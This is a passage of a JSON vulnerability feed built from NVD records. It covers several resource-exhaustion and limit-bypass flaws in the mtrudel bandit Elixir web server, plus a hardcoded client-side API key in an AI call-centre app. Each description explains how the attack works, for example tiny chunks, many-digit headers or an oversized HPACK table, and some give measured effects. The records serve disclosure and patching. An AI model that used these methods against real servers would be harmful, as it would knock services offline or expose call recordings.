2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114213","cveId":"CVE-2026-114213","aliases":[],"kind":"vulnerability","title":"Allocation of Resources Without Limits or Throttling vulnerability in the WebSocket fragment reassembly of mtrudel bandit allows an unauthenticated remote attacker to exhaust...","summary":"Allocation of Resources Without Limits or Throttling vulnerability in the WebSocket fragment reassembly of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory via a fragmented message made of many 1-byte continuation frames.\n\nBandit.WebSocket.Connection checks max_fragmented_message_size against the payload bytes received, but keeps every non-final continuation frame as a new list cell around its own binary, and nothing limits the number of fragments. A 1-byte fragment costs 7 bytes on the wire but about 150 to 170 bytes of server memory, so one connection can hold about 150 times the configured limit, roughly 1.2 to 1.4 GB at the default 8 MB. Ping frames between fragments keep the connection alive past the idle timeout.\n\nThis issue affects bandit: from 1.11.0 before 1.14.0.","detail":"Allocation of Resources Without Limits or Throttling vulnerability in the WebSocket fragment reassembly of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory via a fragmented message made of many 1-byte continuation frames.\n\nBandit.WebSocket.Connection checks max_fragmented_message_size against the payload bytes received, but keeps every non-final continuation frame as a new list cell around its own binary, and nothing limits the number of fragments. A 1-byte fragment costs 7 bytes on the wire but about 150 to 170 bytes of server memory, so one connection can hold about 150 times the configured limit, roughly 1.2 to 1.4 GB at the default 8 MB. Ping frames between fragments keep the connection alive past the idle timeout.\n\nThis issue affects bandit: from 1.11.0 before 1.14.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:29.397Z","updatedAt":"2026-10-26T16:59:16.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114213","asOf":"2026-10-26T16:59:16.113Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114213","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114213","type":"primary","publishedAt":"2026-10-26T14:16:29.397Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113436","cveId":"CVE-2026-113436","aliases":[],"kind":"vulnerability","title":"Inefficient Algorithmic Complexity vulnerability in the header integer parser of mtrudel bandit allows an unauthenticated remote attacker to consume server CPU via a...","summary":"Inefficient Algorithmic Complexity vulnerability in the header integer parser of mtrudel bandit allows an unauthenticated remote attacker to consume server CPU via a content-length value or a Host or :authority port made of thousands of digits.\n\nBandit.Headers.parse_integer/2 in lib/bandit/headers.ex builds the number one digit at a time with no limit on the digit count, allocating a new bignum at each step, so one value costs time quadratic in its length. It runs on raw request input over HTTP/1 and HTTP/2, before any range check. Over HTTP/2, a 4,000-digit value can be stored once in the HPACK dynamic table and re-sent on each new stream for about one byte: 124 KB of traffic kept the server busy for 27.9 s.\n\nThis issue affects bandit: from 1.0.0-pre.7 before 1.14.0.","detail":"Inefficient Algorithmic Complexity vulnerability in the header integer parser of mtrudel bandit allows an unauthenticated remote attacker to consume server CPU via a content-length value or a Host or :authority port made of thousands of digits.\n\nBandit.Headers.parse_integer/2 in lib/bandit/headers.ex builds the number one digit at a time with no limit on the digit count, allocating a new bignum at each step, so one value costs time quadratic in its length. It runs on raw request input over HTTP/1 and HTTP/2, before any range check. Over HTTP/2, a 4,000-digit value can be stored once in the HPACK dynamic table and re-sent on each new stream for about one byte: 124 KB of traffic kept the server busy for 27.9 s.\n\nThis issue affects bandit: from 1.0.0-pre.7 before 1.14.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:28.680Z","updatedAt":"2026-10-26T16:59:16.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113436","asOf":"2026-10-26T16:59:16.113Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113436","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113436","type":"primary","publishedAt":"2026-10-26T14:16:28.680Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111103","cveId":"CVE-2026-111103","aliases":[],"kind":"vulnerability","title":"Improper Cleanup on Thrown Exception vulnerability in the HTTP/2 handler of mtrudel bandit allows an unauthenticated remote attacker to bypass per-connection resource limits via a...","summary":"Improper Cleanup on Thrown Exception vulnerability in the HTTP/2 handler of mtrudel bandit allows an unauthenticated remote attacker to bypass per-connection resource limits via a single TCP write that carries several frames, one of which raises a stream error.\n\nWhen a frame raises StreamError partway through a chunk, Bandit.HTTP2.Handler.handle_data/3 sends RST_STREAM and continues with the connection state from before the chunk, dropping the rest of it. Streams opened by earlier frames in the chunk keep running their Plug calls, but the stream counts, last_stream_id, the rapid-reset timestamps, the HPACK decoder state and the buffer roll back, so max_concurrent_streams, max_requests and the rapid-reset limiter never see those streams. A client that sends one HEADERS frame more than max_concurrent_streams in each write has the extra refused and the others forgotten: with a limit of 10, five such writes run 50 Plug calls at once.\n\nThis issue affects bandit: from 1.9.0 before 1.14.0.","detail":"Improper Cleanup on Thrown Exception vulnerability in the HTTP/2 handler of mtrudel bandit allows an unauthenticated remote attacker to bypass per-connection resource limits via a single TCP write that carries several frames, one of which raises a stream error.\n\nWhen a frame raises StreamError partway through a chunk, Bandit.HTTP2.Handler.handle_data/3 sends RST_STREAM and continues with the connection state from before the chunk, dropping the rest of it. Streams opened by earlier frames in the chunk keep running their Plug calls, but the stream counts, last_stream_id, the rapid-reset timestamps, the HPACK decoder state and the buffer roll back, so max_concurrent_streams, max_requests and the rapid-reset limiter never see those streams. A client that sends one HEADERS frame more than max_concurrent_streams in each write has the extra refused and the others forgotten: with a limit of 10, five such writes run 50 Plug calls at once.\n\nThis issue affects bandit: from 1.9.0 before 1.14.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:27.450Z","updatedAt":"2026-10-26T16:59:16.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111103","asOf":"2026-10-26T16:59:16.113Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111103","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111103","type":"primary","publishedAt":"2026-10-26T14:16:27.450Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111101","cveId":"CVE-2026-111101","aliases":[],"kind":"vulnerability","title":"Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/1.1 chunked body reader of mtrudel bandit allows an unauthenticated remote attacker to exhaust...","summary":"Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/1.1 chunked body reader of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory and CPU via a request body made of many 1-byte chunks.\n\nThe chunked reader in lib/bandit/http1/socket.ex keeps every chunk as its own list cell and binary term until IO.iodata_to_binary/1 joins them, and nothing limits the number of chunks. The :length option of read_body/2 counts only data bytes, so tiny chunks cost far more memory than their payload: 48 MB of 1-byte chunks grew one handler process to about 500 MB and took about 6 s of CPU. The route does not need to read the body, because on keep-alive connections ensure_completed/1 drains unread bodies through the same reader.\n\nThis issue affects bandit: from 0.1.0 before 1.14.0.","detail":"Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/1.1 chunked body reader of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory and CPU via a request body made of many 1-byte chunks.\n\nThe chunked reader in lib/bandit/http1/socket.ex keeps every chunk as its own list cell and binary term until IO.iodata_to_binary/1 joins them, and nothing limits the number of chunks. The :length option of read_body/2 counts only data bytes, so tiny chunks cost far more memory than their payload: 48 MB of 1-byte chunks grew one handler process to about 500 MB and took about 6 s of CPU. The route does not need to read the body, because on keep-alive connections ensure_completed/1 drains unread bodies through the same reader.\n\nThis issue affects bandit: from 0.1.0 before 1.14.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:27.227Z","updatedAt":"2026-10-26T16:59:16.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111101","asOf":"2026-10-26T16:59:16.113Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111101","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111101","type":"primary","publishedAt":"2026-10-26T14:16:27.227Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110499","cveId":"CVE-2026-110499","aliases":[],"kind":"vulnerability","title":"Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to grow per-connection...","summary":"Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to grow per-connection memory and CPU cost without bound via a large SETTINGS_HEADER_TABLE_SIZE. Bandit resizes its HPACK encoder table to whatever size the client advertises, up to 2^32-1 bytes, and indexes response headers into it. Because responses carry distinct values such as date or content-length, nothing is evicted and the table grows with every response for the life of the connection, while each lookup scans it linearly.\n\nThe SETTINGS handling in Bandit.HTTP2.Connection (lib/bandit/http2/connection.ex) passes remote_settings.header_table_size to HPAX.resize/2 with no server-side cap, and encode_headers encodes every response header as :store. Serving N responses on one connection therefore costs O(N²) CPU in the connection process.\n\nThis issue affects bandit: from 0.3.6 before 1.14.0.","detail":"Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to grow per-connection memory and CPU cost without bound via a large SETTINGS_HEADER_TABLE_SIZE. Bandit resizes its HPACK encoder table to whatever size the client advertises, up to 2^32-1 bytes, and indexes response headers into it. Because responses carry distinct values such as date or content-length, nothing is evicted and the table grows with every response for the life of the connection, while each lookup scans it linearly.\n\nThe SETTINGS handling in Bandit.HTTP2.Connection (lib/bandit/http2/connection.ex) passes remote_settings.header_table_size to HPAX.resize/2 with no server-side cap, and encode_headers encodes every response header as :store. Serving N responses on one connection therefore costs O(N²) CPU in the connection process.\n\nThis issue affects bandit: from 0.3.6 before 1.14.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:26.820Z","updatedAt":"2026-10-26T16:59:16.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110499","asOf":"2026-10-26T16:59:16.113Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110499","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110499","type":"primary","publishedAt":"2026-10-26T14:16:26.820Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110474","cveId":"CVE-2026-110474","aliases":[],"kind":"vulnerability","title":"This vulnerability exists in the CreditNirvana Agentic AI Call Centre application due to hardcoded static API Key in the client side JavaScript bundle.","summary":"This vulnerability exists in the CreditNirvana Agentic AI Call Centre application due to hardcoded static API Key in the client side JavaScript bundle. An unauthenticated remote attacker could exploit this vulnerability by downloading client side JavaScript files and extracting API key, which could lead to make arbitrary API calls to retrieve call transcripts and recordings through the application API of the targeted system.","detail":"This vulnerability exists in the CreditNirvana Agentic AI Call Centre application due to hardcoded static API Key in the client side JavaScript bundle. An unauthenticated remote attacker could exploit this vulnerability by downloading client side JavaScript files and extracting API key, which could lead to make arbitrary API calls to retrieve call transcripts and recordings through the application API of the targeted system.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:26.127Z","updatedAt":"2026-10-26T14:21:33.887Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110474","asOf":"2026-10-26T14:21:33.887Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110474","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110474","type":"primary","publishedAt":"2026-10-26T14:16:26.127Z","checkedAt":"2026-10-26T15:50:56.370Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 